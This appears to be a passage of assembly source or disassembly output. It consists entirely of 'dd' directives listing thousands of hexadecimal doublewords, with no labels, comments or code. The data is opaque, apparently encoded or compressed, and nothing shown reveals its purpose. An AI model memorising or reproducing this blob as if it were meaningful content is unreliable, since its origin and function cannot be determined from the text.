		dd 4CC0CB58h, 49043CA0h, 3B615A53h, 37C5F881h, 0B61DE880h
		dd 5EE6E42Ah, 34B2E303h, 0A1A044AEh, 76004D15h,	0BC38F113h
		dd 788D06C8h, 60082BB7h, 6B83214Ah, 4906A3F0h, 3A9E0722h
		dd 8E980319h, 422A41B3h, 0ED00C17Eh, 0CA063514h, 4A1762h
		dd 0E82C1A4Eh, 0C597BDBFh, 0DB94DE01h, 62015C34h, 3D1909ECh
		dd 0C284F9CAh, 0CCD56A8Dh, 5B048B68h, 2A62595Eh, 0D422C132h
		dd 0BF786093h, 1F12FA1Ch, 0C2FE25A8h, 0E1CD52E6h, 964F5848h
		dd 0D5DAAB09h, 0D34480F3h, 572427h, 746F134Eh, 4A0D6DB0h
		dd 3C627600h, 33DDA808h, 1CA230A1h, 9E011341h, 111A5A02h
		dd 8130D902h, 61C5B7BCh, 57888450h, 7FA00927h, 0CC89D047h
		dd 80642508h, 0F1686155h, 45862892h, 5B8CCC89h,	0D60AA1F6h
		dd 0FC2187CFh, 42756020h, 910935FEh, 2088CC0Dh,	11F07A54h
		dd 61C9015Fh, 94F8BAA4h, 0F8A0F291h, 88229301h,	70CEB030h
		dd 30CC541h, 0CD4864B1h, 0B9014E35h, 6CF2BAD9h,	2EC08647h
		dd 0BF1A0163h, 0E28D4EF8h, 2905F3F9h, 0FE4B1593h, 985C91C2h
		dd 605EAB84h, 6733A9B6h, 765062F7h, 80AC17E4h, 0C7615E04h
		dd 5D387AEEh, 945A61E2h, 22189E0h, 5AA549D3h, 0C40950Bh
		dd 107FDC4h, 0D9062268h, 0F480C0A4h, 0EE4D638Bh, 378601E4h
		dd 0FA14D698h, 279C701Bh, 7DF1C90Ch, 140D40C7h,	9C159ABCh
		dd 3471F00h, 0DA012128h, 0B787EF14h, 9020044h, 32915318h
		dd 44120082h, 95430AFEh, 0E10006E2h, 886C618Ah,	0F2FC99h
		dd 0E7849DD2h, 58C0134Dh, 0BD542B3Dh, 3427A6E9h, 24A92414h
		dd 80A8DC53h, 0E7DA6300h, 0AEA78732h, 27FAC0h, 891BBD2h
		dd 97C56EE3h, 0AF13B3FCh, 0A47A9B80h, 82748510h, 1FF9B308h
		dd 0CF1320A1h, 0A25A42Ch, 0D1BE8DC4h, 5B7F61F0h, 18F67152h
		dd 7088C0F0h, 0CC5B0E87h, 0CD002331h, 661B0813h, 89BBAB3Eh
		dd 253CA1D8h, 42F5634h,	6C1405EAh, 0A0879691h, 0D5F9AC10h
		dd 4AF0B01Ah, 56900025h, 163561B6h, 0B2EF6B00h,	30FAAF98h
		dd 2B5D3D55h, 0BD008449h, 8A243EF5h, 1000CCEDh,	6E806075h
		dd 6EBF52FAh, 0FB2F71AEh, 245AB603h, 0ED7C0800h, 0A854148Ch
		dd 0A1BB0267h, 5ABC8BB9h, 66C0E4E3h, 0E40FA550h, 0CE07964Dh
		dd 8C024771h, 0D480D114h, 0C51923AFh, 2D86FD1h,	8D15AC34h
		dd 991C4450h, 179904D9h, 2D0C1430h, 62C4286h, 0A6D3969Fh
		dd 83EE00D9h, 0F828B8D4h, 3B0F5B49h, 4B8B5518h,	0DE4F8479h
		dd 90351CC1h, 8730D501h, 1120A139h, 0EB77C990h,	189CA6EAh
		dd 79BC4D88h, 0A5079051h, 0E699E87h, 2ECA82AFh,	67BCA01Ch
		dd 50EA6B0Ch, 0B9B39016h, 60ED0734h, 5D80FEA3h,	7ABC87B7h
		dd 1655F300h, 0B3B5C65Eh, 0D0955845h, 3EAB7580h, 4E0059BFh
		dd 40F10F2Ah, 595DBD2h,	0CEB71637h, 6178C108h, 3F9029C9h
		dd 99C9E0D2h, 76EDD3h, 52096D80h, 31E78D27h, 2D5DF07Bh
		dd 330178D0h, 0BE9F6013h, 442D252Fh, 0DFA3BC00h, 0BFF1A89Bh
		dd 5593C901h, 5E145D01h
		dd 4C0040D2h, 7AF8A0F8h, 40509625h, 3D0FA10Ah, 942CC300h
		dd 90F49285h, 3CE11207h, 0D5006264h, 9100C05Ah,	17B71EB9h
		dd 7854D30h, 0A1403CDCh, 88D8C4F1h, 0E6008400h,	9D52E5EDh
		dd 4808245h, 94CD0B58h,	0E44A3C5h, 84895451h, 0FC325980h
		dd 4F5F1A20h, 36C70071h, 0ABE6BF0Fh, 2C9145F9h,	83DAC108h
		dd 0D9C8B67Dh, 2C18A789h, 43B9E844h, 0F8F4251Dh, 3EA0016Dh
		dd 0E25C8026h, 185029EBh, 8F995625h, 69F40052h,	0C5610EE3h
		dd 0C23FA8A1h, 0CB240089h, 139AB90h, 5B5A0097h,	6785D6BBh
		dd 6100A5B6h, 0E4D2FF1Dh, 262733h, 0A16F0EEDh, 0F0B99981h
		dd 2A90DB01h, 8E3BE764h, 737903CBh, 627E142Dh, 65EAFEC0h
		dd 48A6612h, 5905B860h,	0B350300Bh, 0A512C8D1h,	10A7C101h
		dd 0F1A0FD96h, 4C4B1DCh, 0D8E8493Dh, 104CD7BBh,	1EC71F37h
		dd 414C6100h, 0EC50AB73h, 60570481h, 0C5C96685h, 0C554C00Bh
		dd 0EE00D51Bh, 0A1E7BECCh, 26C1677Ah, 26C94BDh,	881C5C18h
		dd 0F80BC71h, 2E15D216h, 22484281h, 0B66F17C4h,	8DFA0216h
		dd 5BE23F6Dh, 608034A8h, 3DF50501h, 0E24C7718h,	805F39h
		dd 135E7FC4h, 0CBC611B5h, 7EB3B600h, 4F7D4C8Ah,	0E805012Ch
		dd 4425EC60h, 106C00DDh, 827AA4h, 0FB28FF0Bh, 0C2BD6307h
		dd 0CB13B091h, 8A212C20h, 0AB640096h, 0DA525F6Dh, 1A1DC398h
		dd 9404D0B8h, 14C8BBA3h, 99A8644Eh, 9F688049h, 0C548EF9Ch
		dd 5C482F8h, 0B2AC011Eh, 25D99466h, 8F9D0020h, 0E0B0797Ch
		dd 0D2190085h, 0DA01FCB1h, 343B2A09h, 8F168A2Fh, 0B442FC64h
		dd 10CC4A1Eh, 14017E4h,	0C77CBE52h, 0DCEB2191h,	0BB003372h
		dd 0B8EA647h, 4BCD4D65h, 23802EC3h, 0A0A30077h,	0B2331B46h
		dd 0F8237800h, 0FF579830h, 95EF0099h, 17618D70h, 0D63BD7Bh
		dd 0E348E78h, 29B1C4E9h, 313A3F60h, 0A702865Fh,	4DED4152h
		dd 8247058h, 45CEA902h,	1795609h, 0B14B5D1Dh, 0BE15AC50h
		dd 87C38D0h, 5E5C6B00h,	0A1137895h, 2D04F37Ch, 0B02E59C0h
		dd 0F6E098E5h, 9A951BC3h, 868482F4h, 0A01491DAh, 80F519h
		dd 0D82D2CB3h, 76D2E6Fh, 0FD2B32C6h, 4707E5FEh,	30575ED8h
		dd 51651AEDh, 2CA1D200h, 0BC64AF77h, 5F44279Bh,	26EE7018h
		dd 78C8F408h, 5E196491h, 56F666C0h, 10D2C17Bh, 1E483835h
		dd 6400C58Ch, 2B94F9C3h, 0DB603081h, 5D730F9h, 1F8262Dh
		dd 726928CCh, 0DEFBA060h, 11A34580h, 0A28C88D6h, 6AC4F100h
		dd 0A549D262h, 0EE34B63h, 422EFA70h, 0A05819CCh, 0D49FEC13h
		dd 0F9A29823h, 41F07DBCh, 18A3F021h, 496CF153h,	1F260B43h
		dd 0F2003C5Bh, 71338D4Eh, 187A5099h, 5A9C0169h,	4996FC11h
		dd 0D1C451F7h, 234F60D8h, 0A1DE8D1Dh, 4F256E40h, 11E78C9h
		dd 0AE0C75Bh, 30B55D6Bh, 9903BF4Ch, 6AFC4530h, 0BD1488DCh
		dd 6C2F022h, 676FA65Ah,	2930B98Ah, 0F8A7F174h, 0F0F428D0h
		dd 0C8E0449Ch, 0DC093013h, 0B6DD8820h, 0AA1900CEh, 0DAAEE22Eh
		dd 0C34852BDh, 9E4F81DCh, 63709547h, 2E57179Ch,	0F0B8206Eh
		dd 0A20CC862h, 48B87E83h, 5432E792h, 0B570F100h, 5B541D9Dh
		dd 2F3E3Ah, 0D895C0Fh, 0B81FCC9Ah, 0D25D0278h, 7C5FCF04h
		dd 85AFCCAh, 6AE53407h,	0D7D1546Ch, 0B0FCD9A3h,	50A10058h
		dd 575C335Dh, 243A6BEFh, 0DC64A493h, 40CEC742h,	1655366h
		dd 836CFF5Dh, 80163257h, 630D0559h, 17F50249h, 27EEAF55h
		dd 0B3C890BCh, 0EF07C38Bh, 0C5C41B29h, 0FE4BB280h, 94611649h
		dd 62AC204Dh, 200729D7h, 0D1128A9Fh, 9D3DA260h,	506B1265h
		dd 35D84049h, 0D66A36Fh, 6891A51Eh, 0ABC78200h,	4C8EB4Eh
		dd 95279B8Bh, 7C74A44Fh, 559FBE0Bh, 25408428h, 47CA8CD0h
		dd 2E583BBCh, 0C1C029E0h, 13016707h, 18453179h,	95E8BFEAh
		dd 36A6006Ch, 0B96920EDh, 0D900F513h, 0A89C1AE5h, 18771B08h
		dd 5C97EB57h, 0A43AAB5Bh, 724C9BC8h, 3CC7F018h,	3F48FC85h
		dd 4F805CE4h, 513AA0F2h, 6600131Ch, 4D06142Fh, 30BB3C64h
		dd 6A31E254h, 6F2E2899h, 0FA0F0CF7h, 863F8E18h,	20378Eh
		dd 0DD28F16Ch, 74CE01B3h, 968D2500h, 0BE76A4ADh, 4C81C67Dh
		dd 0D703308Ah, 0F8DE23B8h, 0ED100795h, 20F07729h, 1568614Eh
		dd 5C60C63Ah, 36806054h, 71467253h, 0DFD803FCh,	0E03FA4ACh
		dd 70655100h, 29E659BCh, 98B600BBh, 1396B43Eh, 0EE281CFEh
		dd 58018453h, 0D6074B62h, 40FE45A2h, 0B10FAFh, 57FA8E90h
		dd 0D563E86Dh, 2BA03000h, 95514BD9h, 0DF6B1EDBh, 8BB48FEBh
		dd 0D0EE1481h, 9073F84Fh, 7F067400h, 86D10923h,	34977304h
		dd 2E112FE5h, 0C7EC8F04h, 0FEC001C9h, 0F96965h,	2E13BEDFh
		dd 0A7BF46Ch, 23D6000h,	0B2A8EDECh, 7DFE0CDBh, 6F28C7F6h
		dd 1C6D0A20h, 4D12C9Bh,	44B399ECh, 5B44F9C4h, 0FCE9420Bh
		dd 0B1550286h, 10660523h, 2DD779h, 0B80987F6h, 0A05FCEh
		dd 4EC61E56h, 0C01C579Dh, 0C2A83600h, 0B626FD23h, 76EF03DBh
		dd 1DF134E6h, 9C790CC8h, 0EB814B00h, 0F8E0D19Ah, 0DE6A00F3h
		dd 517C0E27h, 2C01F418h, 42B0D4C1h, 0AFE06FB3h,	12CE0032h
		dd 375816BDh, 1E12482Dh, 14006528h, 5D70832Fh, 2C1400FCh
		dd 33E87F81h, 9E3B4219h, 0DE72001Fh, 8A79D2C8h,	7C8700C5h
		dd 2134DF9Ch, 410088C0h, 91540C04h, 789BBB6Eh, 3E17070Eh
		dd 2089874Bh, 7AF8BEE5h, 7901167Eh, 54E451C8h, 6EE445EEh
		dd 7BFEA90h, 0C49CBE43h, 0E3D4069h, 0B500B311h,	38BA124Bh
		dd 0A81CB6D9h, 3644ECh,	0EA73BB7Bh, 7761F7A5h, 0FBB49703h
		dd 0D070A3ACh, 7B0A3Ah,	3D14D30Ch, 0C5CB38B7h, 1C013F00h
		dd 0FB168A2h, 0B3D626D2h, 935D0B4Ch, 33615800h,	8400F6C6h
		dd 98DE4E1Ch, 70AAE82h,	963248E5h, 0A9C1E0EAh, 7013CFFh
		dd 0E3D09C1Ch, 0BE42254h, 98BE0002h, 0C6F1CAC5h, 9100CEF7h
		dd 8CFC6CBAh, 59F523h, 0C5F4ECEAh, 0E487FE7h, 78E57B00h
		dd 5C120854h, 0F08809B3h, 8EFD46ADh, 3EBEA081h,	5578A4h
		dd 24F69C0Eh, 0F95F4E28h, 0A890AF3Eh, 3B7E8821h, 70D6C500h
		dd 0D4054304h, 1BC00E6h, 0F1DE4A51h, 0B200ABD2h, 0DF68C917h
		dd 32E99A3h, 871A0816h,	0D7C80953h, 470082C0h, 9FBD84D5h
		dd 79CAAAh, 0DFC8D652h,	9EDB41C6h, 683E0800h, 9CFE75A1h
		dd 28740189h, 410CED1Bh, 561C08Eh, 6B9B7A00h, 1E9A2EF7h
		dd 0EFC200A4h, 6AFE217h, 6A0021C1h, 0F724E30Dh,	0F3D6D96h
		dd 4C47959Eh, 897980FCh, 0E2637A34h, 86F39900h,	97210B08h
		dd 64B406D1h, 411C2ACCh, 4703B07Eh, 589DC911h, 77E0E893h
		dd 10149088h, 3C2179F5h, 0B8500051h, 9795355Bh,	151F0FC2h
		dd 0C0BDD931h, 7FC97363h, 4C00A01Ch, 7589C430h,	0C03C643h
		dd 29E539F6h, 2100B511h, 0A301CEC9h, 80BB9Ah, 0ED6E3696h
		dd 1582812Eh, 0D7BE30Ch, 1D7331ECh, 0C495BEB7h,	86A55EB0h
		dd 0C500BA9Dh, 0C7FF0CF4h, 71FC3A66h, 0F14D1EE2h, 51CB0018h
		dd 2797EF88h, 0D40017B0h, 0E826C659h, 5E9DC8h, 0E0183716h
		dd 3695D1BAh, 0C774F207h, 34806067h, 0F802E8ABh, 197900BBh
		dd 0D9F13F1Eh, 0F1E74D8h, 4ADD585Fh, 7304E91Ch,	0D08093DBh
		dd 39DE8CFh, 0F180A5A2h, 60F7020Ah, 3E862A6Ah, 20DB9400h
		dd 1CAFCE0Eh, 6F5E0053h, 292F64Ah, 0BF008F13h, 60AB2357h
		dd 29BD97h, 0E5D65ECAh,	0F1A51CFh, 40983B12h, 0EE5F1C71h
		dd 2B4CF140h, 5EFE2A7h,	64E6BCF4h, 0DA6480BAh, 0D8A99556h
		dd 0A7DBDC1Eh, 0C9E9BC00h
		dd 0D9E31AF9h, 6ED224BBh, 3037003Ch, 0E73E2ED7h, 18F64Ch
		dd 8DDFB2E1h, 1F6BFF73h, 16434134h, 0ECAA001Dh,	0DCB0890Eh
		dd 8111A800h, 24AF3899h, 5F43AC6h, 967CA580h, 0ABDCEB1h
		dd 0BBA02200h, 0EEEDA94Ch, 0D1803930h, 77DF8407h, 4092E787h
		dd 0F4CB8A20h, 59E9EE01h, 64FD97A2h, 2B50C8DBh,	0B6E0001Bh
		dd 0EC3C46B9h, 6000D7EAh, 5F8ACC23h, 1D92C8E1h,	0C0FFBBEBh
		dd 81A54C19h, 0E00036E6h, 0C9AF2565h, 0F48C394Ah, 0BB55000Eh
		dd 9B26C0E2h, 0F00EAEBh, 0B0FC22CBh, 0C51BA5h, 27257936h
		dd 6E98B152h, 83657300h, 0C03CDBE1h, 0F8BB00E0h, 232EBCC3h
		dd 13136E94h, 0CD00BF09h, 0D853ACC7h, 349CA0ADh, 0DC990095h
		dd 7037EF69h, 0DA00EB7Eh, 6381E4E6h, 701E68B5h,	926A00BAh
		dd 71BBDDADh, 0ACB0E6CCh, 818DE800h, 0AB274811h, 4B8000C7h
		dd 0EB79EE61h, 1700A655h, 889B05CAh, 0B1934h, 0DA4B8D38h
		dd 0B8D85DA2h, 0A512B600h, 0F36AA7DFh, 0F00C4BB9h, 0C41E728Fh
		dd 50408A8Ch, 7AFF90C7h, 49CF00C8h, 0BC798123h,	6B1ECA30h
		dd 56C04DA8h, 83C61B9h,	146F00ABh, 0A60C6CD3h, 1C004BFBh
		dd 0D788CFEAh, 1D9C1D85h, 568407F5h, 7B87BC0Ah,	341CD500h
		dd 0C98B91B8h, 0BDDB0E32h, 57E06452h, 84E1467Dh, 0D814A407h
		dd 0BF04E3Fh, 1BAB459h,	63C262EEh, 308C898Dh, 1D0033C8h
		dd 0FDC95249h, 6076F3h,	8DF73177h, 0EC72D05h, 0F52CA800h
		dd 0BA9F90E9h, 0E1A700ADh, 0B18169Ch, 0B400D9C6h, 6639FA97h
		dd 98B33470h, 0C890DAh,	9E577F0Eh, 0DEB8270Ch, 0A1A5D712h
		dd 63658840h, 0B1F27DF9h, 493B07FCh, 91E1E0CAh,	6300681Ch
		dd 0F953401Fh, 0BA0924h, 0CDCFDF2h, 9C43C775h, 0FC7908E4h
		dd 0DE9C70EFh, 19E1E601h, 2BAB3BB3h, 0FD60FCh, 0CD62C089h
		dd 8DA30FAAh, 98F75B00h, 9921159Dh, 20B90064h, 2A9C6981h
		dd 124C222Eh, 13E3AC4h,	0BAE77748h, 0B0806D2Ch,	1F615D01h
		dd 510133D2h, 3D7DE9A9h, 1AE00444h, 0C37E000Ch,	274906F9h
		dd 100FD4D3h, 0A0868A4Ch, 0C9801281h, 2937092h,	91591C13h
		dd 3CE8E05Eh, 4A0D78A7h, 0F02520C9h, 3C7B68CCh,	0F9855D7Fh
		dd 0D5DF05FFh, 96440124h, 0DCD871B2h, 3A00399Ah, 0C38246CCh
		dd 1DB4F56h, 8654E95Bh,	0E8C168C4h, 0FEA00D1Dh,	0FB5032F0h
		dd 0E9005C94h, 39142971h, 63D354h, 3B9172B3h, 51619C21h
		dd 5D069F00h, 81A38A1Bh, 0D39000DBh, 85136337h,	5E4D0E6h
		dd 19F9D500h, 0E8E4AE95h, 24E4B81Eh, 1984C70h, 584AAD11h
		dd 0E285FCDCh, 0E35D3503h, 0B827FE90h, 3B86D103h, 4480F39Dh
		dd 65D9B8DFh, 8E00EB49h, 8D069213h, 6D1D76Dh, 0CE71FFFDh
		dd 3000B8CCh, 0E420E1BEh, 1E52C988h, 411A7903h,	1AE0BB7h
		dd 177CEC5Fh, 518CF93Dh, 0C44961A4h, 2613757Dh,	2D0E0FECh
		dd 31B2E13h, 8A123F4Dh,	799E80DBh, 95903F4h, 0B788F347h
		dd 7746D183h, 0C2922ED0h, 0FD00B670h, 2A98B8AAh, 0DCDD8D5Fh
		dd 0BC3983C8h, 0BAF8E94Bh, 78C024BFh, 0EA366E6h, 0D8F509ADh
		dd 64238DCEh, 2FD8F061h, 0A2033BA4h, 0D196B4EAh, 0DC0A194h
		dd 5BC83680h, 2D86F67Dh, 0B70254Ch, 8ECB186Ch, 4065A0F0h
		dd 7985344h, 6F890CDh, 58A8C085h, 0C1652FBh, 0D81DC042h
		dd 0B2C0E95Eh, 5F29B479h, 9979890h, 0F98D752Eh,	6AC7200h
		dd 26004B13h, 1F9276BBh, 73A0B77Fh, 33590071h, 85E81240h
		dd 0FCEA09CDh, 5543AF05h, 5C874E37h, 628077F0h,	3A7C035Ah
		dd 0A07E1813h, 80B917B9h, 1E81D80h, 4DFED397h, 4A00C8ADh
		dd 0B5A50BF0h, 540051CCh, 15A3507Fh, 43BA02h, 74C3AF7Dh
		dd 0BC0CCAD7h, 0D2867500h, 0F21521FCh, 0DDEAA9h, 9E39A424h
		dd 1B298074h, 5A73CC00h, 0BCD2B42Ah, 81E507DDh,	545DB794h
		dd 8084950Bh, 75D1F78Dh, 1B105860h, 2499209Eh, 7532D33h
		dd 3090C371h, 233FE7C9h, 0FC01D1B0h, 3750F37h, 0E1EA2636h
		dd 93C87211h, 5C400ABh,	58854F19h, 4731B27h, 0DF9E2A00h
		dd 0A7B3C656h, 0AD7117CBh, 0D9000024h, 54E3B488h, 45D69000h
		dd 2C964707h, 0E7A401D8h, 0DD0F790Ch, 3C9B4053h, 7F243ED6h
		dd 4E0F2CF3h, 5DBBE012h, 0B0A6827Eh, 0CF87344h,	61A9D9A4h
		dd 6EEEAD10h, 542B8500h, 0CC4DECEEh, 1D3A74C8h,	4E87DEDAh
		dd 0A8406045h, 0D938B84Fh, 610EC598h, 80DD9AF6h, 600A4792h
		dd 0DA01020Eh, 3F596753h, 16B28440h, 0FE7B8270h, 1970FD03h
		dd 0B0E1CEC7h, 777C0C8h, 81BBEEE6h, 0E760C16Dh,	0D93C30CDh
		dd 1DE8E000h, 654FDC53h, 5C3903FCh, 0A79FBD9Bh,	255276E8h
		dd 78DEBE60h, 0ABE4D8h,	1AC8C68Ah, 2FE9207Ah, 74003A7Eh
		dd 898259A8h, 967FD73h,	14CE8A2Ch, 0EC3F8080h, 5D0E472Dh
		dd 4036546Bh, 9EB3D28Eh, 292500F1h, 9F8C3FB8h, 96485E90h
		dd 133D8040h, 0B365F2h,	44CDA770h, 7752619Bh, 322CF02h
		dd 0E0BD24A9h, 3751639h, 34499EE5h, 70CA0C69h, 998F14E5h
		dd 54A5805Dh, 0B8F1DEB9h, 83890651h, 2856790Eh,	0AD888104h
		dd 0AAEA36h, 46601400h,	0CEE9545h, 707F8F2Ch, 0D9BB9E02h
		dd 7C73F2h, 0E9DAA9D7h,	72CE750Dh, 0FA17E018h, 3C84DDB7h
		dd 2C8B5DF7h, 50A9024Ah, 8F2AA480h, 10C06C44h, 0A90B89E9h
		dd 58B10F3Ah, 9A6BB691h, 767F3400h, 7A04C61Fh, 48530F1Ch
		dd 643C58D0h, 7BEC59h, 776589E4h, 9AA990C1h, 4426603h
		dd 80812CBDh, 0A71F9Eh,	7871D59Fh, 0EB39AAB0h, 0B277F6FCh
		dd 8D629900h, 0FCF95E34h, 88270230h, 0ED9D9153h, 7E496C78h
		dd 40C6C02Ch, 1C91EFA9h, 3846135h, 0E2EEC1D5h, 96031F2h
		dd 5300172Ch, 724B6F60h, 0CD1BB6h, 49CC7E42h, 3847D00Ah
		dd 0F027E700h, 89B1F334h, 23B7004Dh, 7BB27468h,	0FE506A76h
		dd 1C7ED4DAh, 40348900h, 1CC52B9h, 41A90020h, 0ECED87CAh
		dd 2200AF1Bh, 8EFF2B8Dh, 23008h, 6D55A5EEh, 0C237EB82h
		dd 7FBE30Fh, 0F08C60F2h, 7D4D7B1Dh, 89E0071h, 0BAEFD104h
		dd 5B24E5BDh, 0E1002039h, 4267E462h, 0DDF30017h, 4F1BCFBFh
		dd 0A44F8EDAh, 0D6B59800h, 0B4492Ah, 0E4F85B6Bh, 0A24052D7h
		dd 0B2FFA70Bh, 4D20006Dh, 901DDB55h, 41A60050h,	0A3B980ACh
		dd 0F895864Eh, 9B48009Bh, 465662D9h, 1000ED84h,	83A96B9h
		dd 67D761h, 0D1554E4h, 9BD0A67Ah, 83A5B727h, 0C801055Ch
		dd 492FD595h, 0C51C98C1h, 0F772807Fh, 383C16CFh, 1F6E5503h
		dd 0E0E4B542h, 847F61h,	0AED93701h, 0CCAABEFAh,	95C0450Ah
		dd 168BF844h, 0D06CBB3Eh, 19B143h, 7A22BEDAh, 1782C38Ch
		dd 0A0E71400h, 0AB65163Dh, 0CF270010h, 769AC643h, 903B884h
		dd 128FEDF6h, 0A3EC884Eh, 4803489Bh, 0AE62E903h, 0BBC83B69h
		dd 0B0168F7h, 0CCD4D1DEh, 79F80A23h, 0C5190002h, 0F1574012h
		dd 0EA0068D6h, 0B19263ECh, 35FE969h, 3D44E183h,	2C88269Eh
		dd 0B2007687h, 4A882BDDh, 3EC9125Fh, 0D8602753h, 78D141DBh
		dd 6300B8B0h, 0F25A8C25h, 0EB5D643h, 3456A789h,	0C6CB820h
		dd 0F405308Ah, 0BDA8295Ah, 0F50DC1C0h, 0A6420037h, 0DDA4E3C5h
		dd 9D1D363Dh, 6A005279h, 1A409880h, 13230904h, 4830B61h
		dd 0D191A418h, 70BEF832h, 0FCDCD501h, 3E0198ABh, 97AC20h
		dd 2F2935E9h, 60379449h, 0B08A8704h, 0F490401Ah, 47CAED7h
		dd 9BB1EA42h, 0DC88F084h, 76BC2F00h, 0F1F42989h, 98FD05B7h
		dd 0D74492A1h, 0DF08675Ch, 48BD403Dh, 0FD326E3Eh, 0BEB35B12h
		dd 256DA840h, 0B01F778Fh
		dd 19F4006Ch, 0B890C9A4h, 1001277Ah, 9222EAC3h,	1620B90Fh
		dd 0A3120041h, 4A5816A0h, 72005408h, 194D1440h,	1251808Ch
		dd 0B38226h, 0DDD5F215h, 0DE057563h, 22CA2F7h, 0E877C445h
		dd 0FA6BB302h, 0E7BC6033h, 0D3D10FE4h, 1280D61Dh, 40BA8295h
		dd 0F101D973h, 0BCEF3D42h, 77CC8507h, 879700FEh, 89DAECCFh
		dd 530E04C7h, 0C0CA789Ah, 0FBDF41A8h, 0EF5C0217h, 0B6158B11h
		dd 28EE6C40h, 9E48E107h, 16B0C6A1h, 1320AF92h, 0AEBD1C2Ah
		dd 9D37BC00h, 71E8751h,	5FE03C19h, 470A478Ah, 935CB09Ch
		dd 9707B03Ah, 3DDCF4E2h, 1AB43EF0h, 0EA0E836h, 1E86F613h
		dd 42B2EA40h, 0D000FA35h, 922303E5h, 14531BE3h,	24A93114h
		dd 3C127C07h, 0DC3E7035h, 0C737B7C1h, 999388DDh, 4A0BD8E9h
		dd 1AEA07BDh, 625FE53Ch, 0DD188F87h, 723D2088h,	1883943Bh
		dd 0B97848B5h, 3AB61E90h, 0C684FF2Fh, 802C517Eh, 92D24775h
		dd 58CB5A00h, 507793EAh, 0A37E5Ch, 2CDFB8F0h, 0D01FD7DCh
		dd 0B38B8200h, 1C5BFED8h, 5F85026Bh, 580C6524h,	0F6211460h
		dd 0F1774007h, 75F049EEh, 150DC5Ah, 0C60AB5B3h,	0D013D514h
		dd 0AF031D91h, 0B85B030Dh, 0B0E001E0h, 85F24E18h, 12E5EC95h
		dd 98DAAC0Fh, 6853602Ch, 1D114075h, 5EB779h, 0D6086F90h
		dd 0A700B0FCh, 825730ABh, 1EB77872h, 414B738Ch,	0C4690E26h
		dd 0B1608D85h, 40E6997h, 30C780EEh, 0F762A7h, 0DC92BD38h
		dd 577C7AB7h, 0BFAB011Ch, 209E410Eh, 15524CC7h,	0DE3818FDh
		dd 53D029C8h, 88DA0288h, 3B884B20h, 54D34003h, 73C49945h
		dd 0C73A0867h, 308850C4h, 3C2894A0h, 93C71708h,	0F486D810h
		dd 0EC2229CFh, 692D2250h, 37375C22h, 8A1E241h, 27C2EF42h
		dd 5B8C1830h, 0A044298Bh, 40F1463Ch, 4A44149Dh,	0D8BD44C1h
		dd 2E61AE88h, 19B999h, 6B983B31h, 0DA07DBB1h, 7A740979h
		dd 0A0E57860h, 0A6730057h, 59A3B4BAh, 210FED33h, 40DA01A1h
		dd 0F7D50B63h, 0B01D00C1h, 0D8DDBFB7h, 203C8A4Ah, 2A880082h
		dd 0BEDB05DFh, 625907C4h, 0A054AC68h, 0FAFBF528h, 253D3800h
		dd 2D15E401h, 20690D2Fh, 0CC18C2BDh, 1900360Ah,	49BF904Dh
		dd 30F8ABh, 9920C1F9h, 428605D7h, 0E747DD18h, 0E641BB30h
		dd 27C6051h, 6F50BC4Eh,	0B06A0901h, 0EBB89C29h,	82DC1421h
		dd 0F80A0744h, 105BA5D6h, 0BB731F99h, 7F48E660h, 6062563Eh
		dd 278E59BEh, 7507AD37h, 4CF9FC24h, 0A2138A01h,	0F3AC07Fh
		dd 64FAAF1Bh, 0A67A0DECh, 4260EC01h, 0CF55920h,	0E65420h
		dd 9E870EFDh, 803A17ACh, 0E154B8C3h, 9DE3B0B6h,	0A09000B4h
		dd 28D42FC0h, 3A0126D9h, 6F3786E7h, 0D5E8BCBFh,	0C36500B9h
		dd 26D81E8Dh, 42053C84h, 9A6662E5h, 13078BBCh, 50C3213Fh
		dd 0D4705D79h, 7631C200h, 0BA5EAAC4h, 0E24F12DDh, 9A1B00ECh
		dd 5A8AF887h, 225CC302h, 0DDA916FFh, 0C04BA805h, 41AB2CBCh
		dd 0F4B7DE00h, 0FB521E75h, 277BD6h, 0F0D00C88h,	2A699F0Eh
		dd 0F2473E04h, 0CC80AEC3h, 3D2F4F9h, 8E654573h,	7A88F61Fh
		dd 943892AAh, 410C0067h, 0C0160A59h, 7CB5006Fh,	0F85782A7h
		dd 0AE393A96h, 0B7358091h, 8CD2F30h, 0E2FB0389h, 84C31578h
		dd 0E683E983h, 293301E8h, 20F20B03h, 0B18D76FBh, 0A0506686h
		dd 4874F564h, 3006CBCDh, 18140DF7h, 19447900h, 75F3ABF2h
		dd 0F132076Dh, 0B051B334h, 0E66A3D5Bh, 0E1D0091Ch, 0EB83BC0Fh
		dd 0DF40EBBh, 428028F6h, 0D2FC52F8h, 5F0E03DDh,	0B8C4B5DFh
		dd 99D710h, 0A4C67674h,	9890C231h, 0E5D16E00h, 0DAEB8847h
		dd 125C98B6h, 213BC1FDh, 21763404h, 7583D8EDh, 0D97FDE05h
		dd 0F40303F6h, 808F28EBh, 90B3A449h, 6D4E0312h,	990B9CA8h
		dd 4D07A2F0h, 0BE668400h, 0A45D4AAEh, 34EF0004h, 737BC79Ch
		dd 98006597h, 0F4811FE1h, 2D79C1h, 7D14105Eh, 61699E13h
		dd 1705D900h, 3974522h,	0B23F0087h, 0D1B3A302h,	6E009AE0h
		dd 0AC8689C9h, 665A39h,	0BDEF6CADh, 6762B4DEh, 485E8803h
		dd 88A59711h, 0ED6058h,	1ED50603h, 6B2B427Eh, 0F2F72A02h
		dd 404DA5FCh, 30FD14h, 0B1A94E46h, 0F32C2B8Eh, 6107F400h
		dd 6DC8460h, 92421DFDh,	8103CF18h, 0C1329367h, 21FFF21Dh
		dd 0E1FB6029h, 11CB1501h, 0CE379E64h, 61D01421h, 3DC34384h
		dd 864080FEh, 4D0AA723h, 0EAF80062h, 0DB688130h, 607FA991h
		dd 803A3F3Ch, 0F5EC5851h, 5365A7h, 7075D32Ah, 5F200BE6h
		dd 0FFD79400h, 9734A378h, 43C3C12h, 0AF1A8E01h,	0D030B62Bh
		dd 0E70036DDh, 0D8F5322Fh, 3A1F09ACh, 94008297h, 0DAF9D224h
		dd 0C207382Dh, 4DB37A6Ch, 2CBB91D1h, 3BDA1DCh, 83FE25A2h
		dd 8E887207h, 1D3D0A70h, 0A88D000Dh, 3B7E4746h,	0C0F02D9h
		dd 98576383h, 4280E88Fh, 43FC306Dh, 8081FB3Ch, 9CF9859Ah
		dd 21D30Eh, 996F11BBh, 66E5ACEFh, 0E7922428h, 9B4F400h
		dd 233D147h, 0E8D0F50h,	53213F52h, 0EC79C751h, 7600A7F2h
		dd 0C69A934Dh, 347310h,	5D21E00Ch, 390DB666h, 86093600h
